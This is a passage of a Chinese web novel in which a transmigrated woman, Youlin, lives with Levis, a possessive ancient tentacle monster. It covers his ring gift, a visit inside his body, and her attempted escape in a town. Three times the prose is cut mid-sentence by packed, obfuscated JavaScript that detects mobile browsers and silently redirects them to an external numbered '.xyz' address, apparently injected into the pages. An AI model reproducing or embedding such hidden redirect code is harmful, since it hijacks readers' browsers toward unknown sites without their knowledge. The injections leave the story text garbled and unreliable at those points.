利维斯一只手撑着半边身子,另一只手正放在尤琳的腰上,好整以暇地望着她,虽然脸上表情并不明显,但尤琳觉得他看上去心情很好的样子。 利维斯应该是这样抱着她睡了一夜,总是冰凉的身体被暖得有了几分人类的正常温度。 他慢悠悠地又重复了一遍:“早上好,尤琳。” 尤琳磕巴了一下,回应道:“早,早上好,利维斯。” 利维斯伏身,在她唇上轻轻留下一吻。 尤琳怔了一下,说:“这莫非就是传说中……早安吻?” 利维斯点了下头:“这是夫妻该做的事。” 尤琳:“……” 这怪物化人以后学得还真不少。 尤琳想起昨晚自己随口安抚的话,却被利维斯当了真,也不好反驳他,只能硬着头皮接受了身份的转换。 心想,如果是这个身份的话,说不定能对他提出一些更加过分的要求。 更过分的要求,能是什么呢——比如给她十个亿然后放她回家。 虽然不一定能回到现实,但只要有钱,在哪都能是家。 这时,利维斯忽然说:“尤琳,送你个礼物。” 尤琳停止傻笑,回过神:“什么?” 利维斯抬起她的一只手,动作如出一辙,尤琳顿时想到昨晚她都用这只手干了什么,以为利维斯又要再来一次,下意识一挣,没挣脱开,反而指间落入了一个冰冰凉凉的东西。 尤琳愣了一下,紧接着瞳孔骤然放大,腾的一下从利维斯怀里坐了起来,手指颤抖地抚上落在右手无名指上的蓝宝石戒指。 那枚蓝宝石跟她的大拇指指甲盖一样大,乍一看有些吓人,尤琳活了二十多年,没想到还有被钱吓到的一天。 “这是什么?”她目不转睛地盯着手上的东西,“是真的吗?” 应该是白问,毕竟利维斯活了这么多年,手里怎么会没点钱。 利维斯从身后环住她。 他好像很喜欢圈住她的这个动作,一只手从尤琳的右手穿过,和她十指相扣,贴在她脸侧,说:“尤琳是妻子,这是戒指。” 他蹭了一下她的脸,又问,“喜欢吗?” 尤琳耳根顿时就麻了,并且顺着脖颈一路往下,过电一样的酥麻蹿遍了她的全身。 她的声调险些失控:“喜、欢。” 利维斯也险些失控,嘴角绷直一瞬,又说:“如果你喜欢,我还有很多。” 尤琳下意识“嗯?”了一声,利维斯忽然将她整个人从床上端了起来,走到窗边。他看着清瘦,力气却大,一只手轻轻松松地抱着尤琳,另一只手朝湖的方向勾了勾。 黑色湖泊像一面剔透的巨大镜面,在利维斯的召唤下扩散出阵阵涟漪,紧接着,一只巨大的暗红色触手从湖中央探了出来,像是电影里远古长颈龙朝天伸长了脖子。 尤琳头皮一炸,看见那只巨大无比的触手朝他们的方向靠了过来,顶端连接在窗前,如同老树伸长的枝干为他们铺路。 利维斯带着尤琳站了上去,触手自动带着他们往湖的方向收回。 尤琳看了眼身下迅速而过的林子,吓得两腿发软,好在利维斯将她抱得很紧才没掉下去。 触手托着他们立在湖水上方,这个角度的湖一眼看去大的有些吓人。 她早就好奇了,这里的湖水为什么是黑色的? 尤琳抓紧了利维斯,嗓音颤抖地问:“你要带我去哪?” 利维斯淡声说:“我的体内。” 尤琳:“???” 湖水动荡的幅度变得更大了,简直像个缩小版的海,掀起丈高的黑色潮水。很快尤琳便知道了为什么这个湖是黑的,因为她看到湖面露出了一个巨大的豁口,就像是一张正在吞食的嘴。 这里果然是利维斯的老巢,他将自己的本体藏在了湖里!这整个湖都是它的身体! 尤琳吓得发出一声尖锐的爆鸣,两眼泪汪汪,像个受惊的猫剧烈挣扎着想从利维斯身上逃跑,却被按得更紧了,只能眼睁睁看着自己被那张巨大的嘴吞了进去。 看着自己被吞是一件很恐怖的事,不到一天,尤琳就体验了两次。 怪物的口腔起初一片漆黑,尤琳只能凭借本能死命缠着利维斯,将他当成了唯一的救命稻草。 利维斯在黑暗中安抚地舔去她眼角的泪,说:“不要害怕尤琳,这里很安全。” 安全个屁,都把我吞了还安全! 尤琳在黑暗中无声地咒骂了一句,发现这里面竟然有充足的氧气可以供她呼吸。 她感觉周围像是蒙了一层玻璃罩子,一切声音都变小了许多,只有强而稳健的心跳充斥着,不多时,面前忽然亮起了一束束明亮的白光,遍布在上方,像是夜空中璀璨的星子,偶尔还会闪烁两下。 利维斯将尤琳放了下来,脚下是柔软的地面,微微湿润。 被星子照亮的前方是一片暗色的海水,不过气味有些古怪,海上隐约有一座庞然大物,离得有些远,尤琳看不太清。 她不禁问:“这里真的是你的体内吗?” 又是一条触手度过胃海而来,利维斯牵着她的手站了上去,说:“是。” 尤琳好奇抬头:“那上面的那些星星是什么?” 利维斯头也没抬,目视前方,说:“我的眼睛。” 尤琳:“……”她一时间不知道该先问眼睛为什么会长在肚子里,还是先问他为什么会有这么多眼睛。 只是在知道那些好看的亮光其实都是利维斯投射的视线后,感觉整个人都有些不自在起来。 那条触手载着他们靠近了胃海中的庞然大物,近了尤琳才发现,那玩意儿竟然是个岛!! “这里怎么会有岛!?” 利维斯没什么情绪地回忆了一会儿,然后诚实地说:“时间太久,不太记得了。” 尤琳表情失控:“……所以你就吃了一个岛?这也能吃得下啊?” 利维斯瞥过来一眼,似乎是觉得自己被看扁了,于是握住她的手紧了紧,说:“尤琳,我很大的,你要看看吗?” 尤琳两腿一软,差点跪下给他磕头,忙说:“不了不了。” 我怕被你吓死。 原著只用了四个字来形容利维斯的本体——庞然大物。当时尤琳想象中的它并没有多大,最多也就像个岛吧,但现在看到飘在利维斯胃里的岛,她觉得自己还是太缺乏想象了。 得亏是架空的世界,这要放在现实,她都要怀疑是不是怪物占领了地球。 利维斯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811720|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胃里到底没有阳光,岛上像片月下的荒凉沙漠,只堆着无数破烂的船只。 利维斯带着尤琳走到那些破船前,淡定地说:“这些都是你的了,你可以慢慢挑选。” 尤琳:“我要一堆破船干嘛?又不烧火煮……” 话没说完,被破船角落里的闪光物晃了眼睛,尤琳疑惑地走过去一看,下一秒整个人差点被晃瞎。 数不清的珍宝堆放在她口中的破船里,那是来自深海的失落宝藏:金币、宝石、珍珠、古董……钱钱钱钱钱钱钱钱钱…… 尤琳脑子空白了足足有一分钟,忽然捂着眼睛哭了起来。 利维斯微微皱眉,走过来捧着她的脸:“怎么了尤琳?” 尤琳满心悲恸地想,为什么,为什么不能带回现实去?她要把那个破公司整个买下,然后天天把领导PUA一遍,一个不高兴就拿钱砸人,这样大家都是敢怒不敢言的。 等等,她该不会是要死了吧,这都开始做梦了。 尤琳猛掐一把大腿,疼得龇牙咧嘴地笑了。 还好,还活着,就算这些书里的东西带不回现实,能在这里花花也是好的。 利维斯就这样看着尤琳又哭又笑,然后冲他说:“没事,就是被光晃了眼睛。” 她恢复了一下情绪,又问,“你要把这些都送给我?” 利维斯点头:“这是夫妻共同财产。” 尤琳:“……” 她忽然觉得自己像个骗婚的,原本只是想活,没想到一句话让对面把老底全交了。 “你等等。”她低头去面前的金银珠宝里翻了翻,最后翻出来了一枚宽面的古董戒指,看着比较朴素,上面雕刻着精细繁杂的花纹。 她犹豫了一下,主动伸手拉过了利维斯的左手。 不是结婚,做做样样子而已。 尤琳内心把自己宽慰了几遍,才颤颤巍巍地将那枚戒指套进了利维斯的指间,说:“礼尚往来。” 利维斯的手很长,骨节分明,他又喜欢穿宽松的荷叶边白衬衫,戴这种古雅的戒指更能衬托他的气质。 利维斯抬起左手翻看了好几眼,脸上表情变化不大,眼珠子却亮了几分。他默默伸手,拉住尤琳戴着蓝宝石戒指的手,再一次和她十指相扣,轻声问:“尤琳,你喜欢这里吗?” 他忍不住地想,如果把她关在他的体内,就不会再有别的东西能觊觎她,他还能带着她去任何地方,时时刻刻感受她…… 利维斯觉得这简直是个完美的点子,光是想想,就已经让他无比兴奋,连带着胃海震荡,生出了许久都不曾有过的……饥饿感。 尤琳被利维斯眼中的饥渴吓了一跳,这眼神哪里是在问她“喜不喜欢”,分明是想将她拆吞入腹。 她看见利维斯的喉结滚动了一下,像是按捺不住自己的欲望。 回答“喜欢”,说不定她会被永远留在这里,回答“不喜欢”,这老怪物约莫也会不高兴。 真是道送命题。 尤琳决定曲线救国一下,她伸手环住利维斯精瘦的腰。 利维斯比她高上许多,大片的阴影覆盖下来,像座小山压在她的头顶,尤琳便迎着对方,抬头眼巴巴地望着他,说:“下次再说吧,我饿了,能不能先去做饭?” 利维斯的喉结又滚动了一下,他舔了舔干燥的唇,哑着嗓子说:“好。” 嗯……虽然没有得到满意的回答,但能得到尤琳主动的拥抱也不错,反正她已经是他的爱人了,那个答案也并不是那么重要。 因为,不管她在哪里,他都能牢牢地缠住她。 11. chapter.11 原本藏在身上的地图随着克里奇给的衣服一起溶解了,好在尤琳翻看了很多遍,大概记下了上面画着的路线。 如果克里奇这只臭狼没有骗她的话,这座古堡位于一座山的山腰,山脚下不远处有一个小城镇。 尤琳蠢蠢欲动,想去。 她不想像个笼子里的金丝雀一样,天天被关在这个地方,愿不愿意出门是一回事,能不能出门又是另一回事,犯人都还能放风呢。 尤琳觉得只要理由合适,利维斯应该不会拒绝。 晚餐是牛排,尤琳吃了好几天的西餐,虽然利维斯厨艺很好,但她还是感觉整个人要变异了。 想吃辣椒炒肉……想吃酸辣土豆丝……想吃红烧肉……想吃…… 她抬头望了眼对面平静进食,一举一动都格外优雅的利维斯。 想吃深海大鱿鱼。 不过利维斯的本体想必和鱿鱼还是有些差距的。 利维斯察觉到尤琳的目光,抬头望了一眼过来:“尤琳,你好像有话要说。” 他的那双眸子好像能看穿人心,又或者是尤琳脸上情绪太过明显了。她放下手中的刀叉,诚实地说:“我不想吃这些。” 利维斯停顿了一下,没有表现出任何不悦:“那我明天煮别的。” 这几天他注意到尤琳有些挑食,吃的总是很少。 好在他会做的花样很多,可以换着方式做。 尤琳舔了舔嘴唇。 果然,利维斯不大会拒绝她的小要求。 于是她试探地抛出又一个鱼饵:“我还想要一些新衣服。” 利维斯说:“好。” 尤琳心砰砰跳了两下,壮着胆子说:“那我能下山去小镇逛逛吗?” 利维斯进食的动作顿住,微微低着的头没动,只稍稍抬起眼皮,阴冷的目光便像冰刀似的飞了过来。那一瞬间,尤琳仿佛看到了他背后那些按耐不住的触手。 离开,是利维斯的禁忌。 好在尤琳知道怎么哄他。 她起身,慢慢走到利维斯的面前,越靠近他,他身上那股从内而外散发的死气便越是浓烈。 利维斯目光牢牢锁在尤琳身上,像一条被栓在勾子上的鱼,视线随着两人之间的距离和位置而动。 尤琳动作自然地钻进利维斯的怀里,坐在他的腿上。大片的阴影覆盖着她,显得她像一艘海面上漂泊的船,是被海洋包裹的渺小。 尤琳抬头望着利维斯,利维斯顺势低头,没忍住放出了几条触手。 尤琳眨了眨眼睛,说:“你误会了,我不是想跑,只是想跟你一起去小镇买些食材和衣服,然后再一起回家。” 她主动伸手勾住他的脖子,感觉自己对于这些动作好像已经越来越熟练了。 利维斯离她近了些。 距离正好,尤琳顺势舔掉他唇边残留的一点水渍,然后说:“我们一起去,然后一起回家,好不好?” 更多的触手伴随着撕裂的声音而动,它们围绕在两人周围兴奋地舞动,一边发出嘴碎的低频声。 “一起回家”,利维斯活到现在,从来没有人跟他说过这句话。 它从远古活到现在,不是在进食就是在休眠,每次在深海之地睁开眼,望见的总是一片漆黑。 后来,有一日它浮到海上,发现这个世界变了。海面上飘着木头鱼,鱼的身上还站着一些堪比浮游生物的小东西,虽然看着新鲜,但是它懒得吃,毕竟这点东西根本满足不了它的胃口。 那是利维斯第一次见到人类。 他们像一群叽叽喳喳的银鱼,但似乎比银鱼要聪明些,能用十条短小的触手做出很多花样,利维斯至今都觉得不可思议,那么小的生物,竟然有那样的智慧。 人类会将巢穴称之为“家”,然后三三两两组成家庭,这很正常,海洋里的大部分生物也是如此,但显然,人类的家庭行为模式更加奇怪。 比如,他们很在意“关系”,关系作为连接两个人之间的枢纽,而在关系之间最为亲密的,是“家人”——不会分开的家人。 大部分生物在孕育生命之后,有的会训练幼崽如何生存,有的生完就跑,还有的会将自己变成养料哺育幼崽,无论何种,幼崽长大就会完全脱离母体,脱离“家庭”,成为没有关系的单独个体。 人类家庭关系的有趣就在这与之不同的地方。 他们不会分化,只会两两联结不断往外扩展。也不会脱离,即便离得再远,也能在某种神奇力量的召唤下回到最初的地方。 利维斯直到上岸后才弄明白,那种神奇的力量叫做“爱”。 显然,赛西莉亚作为家人并不爱他,否则她就不会想要杀死他,也不会想要离开。 爱,应该是回归。 * 尤琳开始有些心慌。 利维斯怎么犹豫了这么久?之前不管她说什么,他不是答应的都很干脆吗?这次她都这么主动了,竟然没能成功拿下?! 这才“结婚”第一天,他不会就对她失去兴趣了吧,还是说……放出的鱼饵还不够大。 尤琳把心一横,干脆捧着利维斯的脸狠狠嘬了一口,发出令人羞耻的,“啵”的一声。 利维斯瞬间回过神来,阴冷粘腻的目光在尤琳身上停留了两秒,他忽然一手托着尤琳起身,一手扫开面前餐桌上的东西。 还装着食物的碗碟和高脚杯乒呤乓啷地摔在精致的地毯上,将其染得脏污不堪。 尤琳被利维斯顺势一带,坐在了餐桌上,他俯身低头,高挺的鼻梁抵在她的鼻尖,唇离得近了,却没有急不可耐地贴上来。 利维斯呼吸冰冷,用极低的嗓音问:“尤琳,你爱我吗?” 尤琳脑子一懵。 这老怪物又在玩什么?过个家家的游戏还当真了? 有了第一次的谎言,就会有无数次,尤琳已经骑虎难下。 但很奇怪,她在网络上可以随意对一个陌生人说爱,这个字眼看似珍重,却也泛滥得廉价,她本应该说的得心应口,然而面对利维斯那双求知若渴的眼神,那个字眼却在唇边变得滚烫。 利维斯还在等她的回答,他的手紧紧扣在她的腰间,冰凉到了极致,反而让人感觉像是烧红的烙铁。 尤琳踌躇半天,才生涩地从口中挤出那个陌生的字眼来:“爱……” 下一秒,利维斯将那个字堵在了唇边,与她咬成两半。 不知道是不是吻得多了,习惯了利维斯的攻势,还是什么别的原因,尤琳短暂地慌乱过后,开始熟练地与他回应。 这个姿势两人还有空隙,利维斯便将腿挤了过来,迫使尤琳打开。 还不够。 他放在尤琳后腰那只宽大的手掌往下一捞,将她整个人又往自己的方向托过来几分。 尤琳堪堪坐在餐桌的边缘,感觉自己要掉不掉,腿根传来长裤紧绷而又粗粝的质感,耳边是触手们热烈的狂欢,代表了利维斯此刻的心情。 尤琳感觉自己越来越热,利维斯却是凉的,她忍不住朝他靠近,将手贴在他的脸颊,颈侧,像个钓鱼的人,却因为鱼的力气更大反被它拽下了水。 好在跌落水潭的那一刻让她彻底回过神来,尤琳猛地睁眼,看见利维斯紧闭的双眼,银白的眼睫如蝶振翅般颤动,脸上也泛着少有的红晕。 妈呀,她是不是走火入魔了! 尤琳将手抵在利维斯胸前轻轻一推,分开后拉出了一条银色丝线,利维斯半眯着眼,愣了一下,然后继续压过来,一只手按在尤琳的后颈,不允许她后退。 尤琳只好又陪吻了一段时间,才咬了下他的唇,表示结束。 她累得气喘吁吁,几乎以为自己又要晕过去。 利维斯一只手托着她的脸颊,盯着她喘气的模样,眼里,唇上,都是水光。 他是满足了,意识却并不满足。 几条触手争先恐后地蹿了过来,将那点残余的水渍舔了个干净。 尤琳疲软地靠在利维斯怀里,感觉利维斯蹭了蹭她的脸,然后说:“明天我们一起去小镇,然后一起回家。” 尤琳简直又悲又喜。 喜的自然是利维斯答应了她的要求,不管怎么说能让她出门都是极大的进步。 悲的则是,这次亲了这么久才听到利维斯开口,那下次她如果再有要求…… 尤琳打了个寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811721|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤,甚至感觉自己堕落了。 只能说幸好利维斯长得好看,不然她宁愿在第一天就触柱而亡。 利维斯见她累得站不动,干脆将她整个人抱了起来。 尤琳惊呼一下,连忙搂住他的脖子。 这个姿势下,她比利维斯还要高出半截,低头只能看到他银白的发丝在烛光下晕染成晚霞的颜色。 利维斯就这样单手托抱着她离开餐厅,身后延伸出几条触手收拾餐桌的狼狈。 利维斯将尤琳放回床上,人却没离开,窸窸窣窣地跟着躺了下来。 尤琳身子一僵,以为他还是欲求不满,又要继续索求。 利维斯却只是轻轻地将她揽在怀里,然后靠在身后松软的白色羽绒枕中,闭上了眼睛。 他好像,只是单纯地想跟她一起睡觉? 尤琳枕着他冰凉的手臂,像在脖子下放了个灌水的冰袋,忍不住往温暖的被窝里滑下去。 利维斯也像条没骨头的鱼一样跟着滑了下来,两人蒙在被窝中,入眼都是一片模糊的黑,视觉无用后,其它的感官都被放大。 尤琳听到了有力的心跳声,不知道是谁的心脏。 她在黑暗中才敢这样光明正大地去看利维斯的脸,尽管什么都看不清。 “利维斯?” 利维斯没睡着,却没说话,只是将尤琳又往他的方向拉了拉,亲密地贴着她,像是在汲取她身上的温暖。 尤琳听到那心跳声重了几分,开始乱了节奏。 两人这样亲密无间的时候,会让尤琳产生一种错觉,好像这只怪物并不危险。但就在不久前,她才亲眼所见那几条诡异的红色触手将克里奇的身体捏爆,碎肉像下雨一样稀里哗啦地砸向地面。 那一瞬间,她亲眼见到了他弑杀的力量,但很显然,那还不是全部。 能吞下一整座岛的远古怪物,到底要什么样的力量才能将他摆脱或是消灭? 只要利维斯想,他甚至不用动手,只需要一个无声的眼神,就能瞬间将尤琳绞杀,而她此刻却像一只无害的羊羔,躺在这个怪物的怀里,甚至每天都和他接吻,亲密无间。 这简直让人……匪夷所思。 言情小说都不敢这么写吧! 尤琳暗暗发誓,如果未来的某一天她回到了现实,一定要把这本书的作者找出来抽上两鞭子,以报这穿越之仇。 不知道是不是她太累了,没多久,尤琳就在乱七八糟的思绪中渐渐睡去。 尤琳常常做梦,这一夜她梦到自己有了魔法,于是将利维斯轻轻松松就变成了一只鱿鱼,然后放在炭火上翻着面地烤,一边烤,一边脸上露出邪恶的笑容。 “让你吓我,让你吓我!把你烤了,再撒点孜然!嗯……香!” “利维斯”躺在铁板上,生无可恋地被她翻来翻去。 “啪”的一巴掌挥过来,正好打在利维斯的脸上,利维斯陡然睁眼,却见旁边的人不知是梦到了什么,一脸的享受,嘴角还挂着一点透明的清液。 他温吞地碰了下自己被打的脸,浅浅的眼皮盖住眸子,没吭声,然后尤琳翻了个面,被子下猛地一脚踹在了他的大腿。 利维斯:“……尤琳?” 尤琳睡得很熟,身体却在不停翻面,当她面朝利维斯的时候,挥过来的就是一巴掌,当她背对利维斯的时候,就是被子下踹来的一脚。 他之前从未发现她睡着的时候像个海胆,浑身都是刺,难以靠近。 尤琳无意识地又翻了个身,这次弧度有些大,整个人几乎挂在床边,就要掉下去的时候,两条触手猛地伸过来捞住了她,将整个人从床边捞了回来。 触手将尤琳带到他的怀里,利维斯双手环绕着她,将人紧紧扣在自己怀里。 他分出一条触手,安抚地拍在尤琳裹着被子的侧身,然后微微启唇,从嘴里发出一声声低吟婉转的空灵之声,似是海面上的浓雾瞬间被驱散干净,连翻滚汹涌的海水都渐渐归于平静,平和。 …… 尤琳梦到她的鱿鱼忽然从铁板上站了起来,扭着孜然味的身体又跳回了海里。 她只好坐在岸边叹了口气,没了折腾的兴致。 12. chapter.12 第二天吃完早餐后,尤琳看到古堡的门口停靠着一辆黑色的四轮马车,但没有车夫。 就在她以为利维斯会亲自去驾马,或者让皮套来操作的时候,他放出了一条触手,利落地抬手一挥,那条触手被直接斩断,掉在了地上。 尤琳瞪大了眼睛:“你在干嘛!” 利维斯牵起尤琳的手,又分出一条触手安抚地蹭了蹭她的脸:“不用担心我,尤琳,这一点不疼。” 尤琳只是被他自残的行为吓了一跳,闻言别过头去,心里嘟囔着他就是把触手都砍了,她都不心疼。 那条触手落在地上,像一条被切断了神经的黄鳝抽搐两下,不再动弹后,它的身体开始发生变化,里面好像有什么东西在挣扎,将外面那层暗红色的薄膜撑得几近透明,并且还在不断膨胀。 最后,里面的东西已经涨大到有一个六七岁的孩子高,一只手猛地撕破了外面的薄膜,豁口里钻了一个人出来。 一个长着西方面孔的中年男人,有着络腮大胡子,神情冷漠古板,尤琳视线往下…… 什么都还没看清,旁边伸过来一只手,挡住了她的视线。等利维斯放下手的时候,那个中年男人已经穿好了衣服,坐在马车前,充当起车夫的角色。 尤琳:……Amazing…… 利维斯这招大变活人,甚至不需要任何遮掩。 利维斯熟练地抱起尤琳,将她送进车厢中,然后跟着钻了进来,坐在她旁边。 触手变出的人无论是神情还是动作,都比那些简单寄生的皮套要更加自然,就像是一个真正的,活生生的人。 他沉默地一甩鞭子,驾马出发。 这天的天气不大好,天空有些阴沉,总感觉要下雨,车轮滚过阴云笼罩下的大道,两侧是连绵不断的山林,前方的路好像也没有尽头,孤寂的黑色马车穿行其中,宛如城镇中流传着的灵异怪谈。 还没下山,外面的景色是一成不变的灰绿,尤琳却兴致勃勃地盯着窗外,感觉自己像是被关了许久的猴子终于回归了自然。 一滴雨落在车窗上。 模糊了视线的同时,尤琳忽然感觉头皮一紧,有种在瞬间和利维斯对上视线的感觉。 她迅速转头,利维斯正闭目靠在椅背里,像是睡着了一样安静。 很快,雨下大了,天地彻底笼罩在一片灰寂中,什么都看不真切,就像尤琳穿过来的第一天一样。 不知道是那天造成了心理阴影,还是她的错觉,那种熟悉的,被窥视的感觉又从四面八方钻了出来,密密麻麻落在全身。 尤琳打了个寒颤,扫了眼姿态慵懒的利维斯,往他怀里钻了钻。 不管怎么说,利维斯很强,只要她没触到他的逆鳞,他就能保护她,就像他杀死克里奇那样。 这个世界是未知的,利维斯却是已知的。 利维斯眼皮微睁,垂眸扫了眼依偎着自己的尤琳,感觉到她身体在颤抖,他收回了那些密集的视线,然后抬手将人彻底揽进怀里。 大约一个小时后,马车终于进入了小镇。 感觉到马车停下,尤琳从昏昏欲睡中清醒过来,急不可耐的想要下车。 车夫从前面递过来了两把伞,尤琳刚要拿过其中一把,利维斯冰凉的手横过来,按下她。 尤琳一脸疑惑,见利维斯自顾自地拿了一把伞,先一步下车将伞撑开,然后朝尤琳伸出了一只手。 尤琳愣了一下才反应过来他的意思,当下脸红地看了眼周围来来往往的人,低声说:“不用了吧。” 利维斯依旧面无表情,手也没收回。 尤琳犟不过他,只好将手递了出去,两人共撑一把,因为躲雨,只能更加紧密地靠在一起。 他们这样的组合落在路人眼里稍显怪异,马车旁,银发男人穿着精致,神情冷漠,就像是某位矜贵的皇室贵族,偶尔来到平民的地界巡视。他修长的指节握住一把宽大的黑伞,伞下是……一名穿着睡裙的金发少女,慵懒随意,神情却有些紧张。 就像是小说里的桥段,优雅端庄的贵族和随性的平民少女。 这样的组合并不常见,一时不少路人纷纷投去好奇的目光。 这里的设定并没有完全贴合现实的西方世界,否则落在尤琳身上的视线就不会是温和的好奇,而是对于伤风败俗的谴责。 尽管那些人并没有露出恶意,利维斯还是几不可闻地皱了一下眉头。 他一边忍住放出触手的冲动,一边将身上的斗篷解下来,披在尤琳身上,然后将她往自己的方向揽了揽。 用生硬的语气说:“尤琳,早点买完,早点回家。” 尤琳按住肩上厚实的斗篷,沉默了一下,说:“好。” 按照尤琳对利维斯的说法,他们这次来小镇有两个目的,买食材,和买衣服。 但尤琳隐藏了自己的第三个目的。 两人并肩往一个方向走去,忽然一个褐色头发的,十一二岁小的男孩冒着雨冲了出来,他一边在雨中狂奔,身后还跟着一个戴着围裙的妇人。 两人踩踏过一个水洼,溅起的水就要落在尤琳身上时,却神奇地像是被一面透明的空气墙拦了下来,一点没落在尤琳身上。 尤琳诧异地眨了眨眼,还以为自己出现幻觉了,没等细究,那个妇人已经抓住了男孩,并且在大街上不由分说地扒下了他的裤子,嘴里叽里咕噜地骂着:“让你跑!让你跑!” 周围的人似乎习以为常,看到这场面还在乐呵呵地笑。 尤琳正看得起劲,利维斯又抬手挡住了她的视线,尤琳抬头,发现挡住她视线的人反而眼睛一眨不眨地注视着那边。 尤琳撇了撇嘴:老怪物不仅双标,还很八卦。 这一场小小的闹剧之后,利维斯带着尤琳来到一个集市。 形形色色的人都在这里面摆摊卖货,因此气味浑浊杂乱,尤琳回头看一眼利维斯,以为他会嫌弃,但没有。 这个家伙不管做什么,遇到什么,似乎都没什么表情。 集市里面的食材没有尤琳老家的丰富,她只能一边扫视那些食材,一边在脑子里想象要把它们做成什么菜。 土豆可以做成土豆丝,番茄……番茄炒蛋!还有洋葱,胡萝卜,肉,火腿,这些都要。 没有米没关系,尤琳买了一袋面粉,面粉可以做很多东西,比如摊薄饼,或者做疙瘩汤。 她这段时间啃的最多的就是面包,之后至少有一段时间都不用啃那干巴巴的玩意了。 尤琳在前面选,利维斯就默默跟在后面,时不时接过那些打包好的东西。他那副样子跟这个环境,以及手里乱七八糟的菜实在格格不入,不少年轻的姑娘们打量着他,又掩着唇偷笑,不知道是在笑些什么。 尤琳注意到那些笑容,回头看一眼利维斯的样子,莫名也觉得好笑。 他神情漠然地捧着一堆袋子,见到尤琳笑了,便动了动唇:“尤琳是在笑我吗?” 尤琳立马收敛笑容,扭头说:“没有。” 尤琳喜欢吃鱼,她最后站在一家买鱼的小摊前,弯腰盯着那些水桶里游来游去的鱼,一条都说不出来名字,但想吃。 她扯了扯利维斯的袖子,好奇问:“利维斯,你能听懂鱼说话吗?” 利维斯点了下头,尤琳眼睛一亮,指着其中一条翻着肚皮的鱼,问:“那你听听它在说什么?它是不是要死了?” 利维斯扫了那鱼一眼,淡声说:“它在装死。” 尤琳:“嗯?” “只要像这样翻肚子,就不会被人类吃了。” 尤琳一噎,叹了口气,指着翻肚子的鱼跟老板说:“先生,我要这条。” 利维斯目光落在那条扑腾“诈尸”的鱼身上,继续翻译:“它在骂你。” 尤琳直起身说:“没事,我听不懂。” 那条鱼很快被捞了起来,处理一番后递到了尤琳手里。 看着手里的鲜鱼,尤琳转念想到了昨晚梦到的铁板鱿鱼,她咂咂嘴,目光落在另一边装着几只鱿鱼的水桶,问利维斯:“你觉得这里面哪条最好吃?” 利维斯瞥了尤琳一眼,冲吸附在水桶边上马上就要爬出来的鱿鱼抬了抬下巴:“那条。” “嗯?为什么?” “因为它最啰嗦。” 尤琳:“……”她紧紧闭上了嘴,又接过处理好的鱿鱼。 利维斯先将购买的食材放回马车里,然后带着尤琳来到巷角的一家服装店。 这家店可以定制任何服装,但尤琳没那方面的心思,她一向不喜欢复杂,还是直接购买更方便。 利维斯身上的衣服倒是看起来都是手工定制的,看起来贵的不行,除了有许多暗纹外,还有不少银饰搭配。 尤琳选了几件自己还算满意的衣裙,风格简约,颜色都是清新素雅的色彩。 她一连抱起来好几件,问店员哪里可以试衣服。 店员指了指二楼的一个小隔间,尤琳上去前,回过身走到利维斯面前,趁店员没往这边看的时候,踮起脚在他唇上轻轻碰了一下,说:“我要试好几件衣服,可能会久一些,你要耐心在这等我。” 利维斯转动指间的戒指,目光落在尤琳的眼睛上,没什么情绪地说:“好。” 尤琳进到隔间,锁上房门。 这个隔间堆放了一些衣服和布料,靠墙的位置摆着一面落地镜,窗户的窗帘被严严实实地拉上,窗帘布是深色,透不进一点亮光。 尤琳换上了一件在外人眼里看起来正常许多的裙子,然后拉开了窗帘。 下面是一条小巷,没什么人,这种天气的雨总是起初大,后来渐渐小转,尤琳推开窗,细如牛毛的雨丝飘了进来。 机会就在眼前,不跑的是傻子! 尤琳学着电影里那样,将几条布绑在一起,变成长绳,然后绑在桌角。 她一脚爬上窗台,犹豫间低头看了眼指间的蓝宝石戒指。 她在自己的世界过得很粗糙,当牛马累了一天后下班根本不想动弹,总是吃着廉价的外卖,过着日复一日望不到头的日子,偶尔幻想哪个眼瞎的富二代看上她,然后富二代的妈妈为了阻止甩给她一张可以随便开的支票。 然后尤琳就可以彻底解脱,去追求自己的精神生活了。 说起来,尤琳觉得利维斯对她还算不错,除了总是在接吻的时候啃得她晕头转向,日常生活他对她也能说得上是无微不至。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几人对视一眼,其中一个撑着伞的,灰褐色头上的男人吹了声口哨,回身扣住了要走的尤琳,嘴里不成调的笑着:“怎么了小姐,你需要帮助吗?” 另一人也围了过来,将尤琳抵在墙边,但他个子不高,几乎只能和尤琳平视,望着她露出不怀好意的笑容,边伸出手:“是啊小姐,你身上都湿了,不如先跟我们回去……啊!操!” 他伸出的手还没碰到尤琳,就被什么东西划伤了。 尤琳手里握着从隔间里捡来的剪刀,那是他们裁制布料用的,被尤琳顺了一个过来藏在衣服里。 她伤了人就跑,那些人骂骂咧咧地追了上来。 尤琳跑得气喘吁吁,速度比刚才还快,她回头看了一眼紧紧追在后面的人,觉得他们简直比利维斯还恶心恐怖。 他爷爷的,看来不管哪个年代哪个世界,都有这种恶心人的玩意儿。 她暗自啐了一口,见那群人穷追不舍,干脆从衣裙里掏出事先藏好的枪,回身对准了那几人。 打不过利维斯就算了,要是被这几个垃圾欺负了还了得。 那几人看见尤琳有枪,吓了一跳,第一反应是求饶。 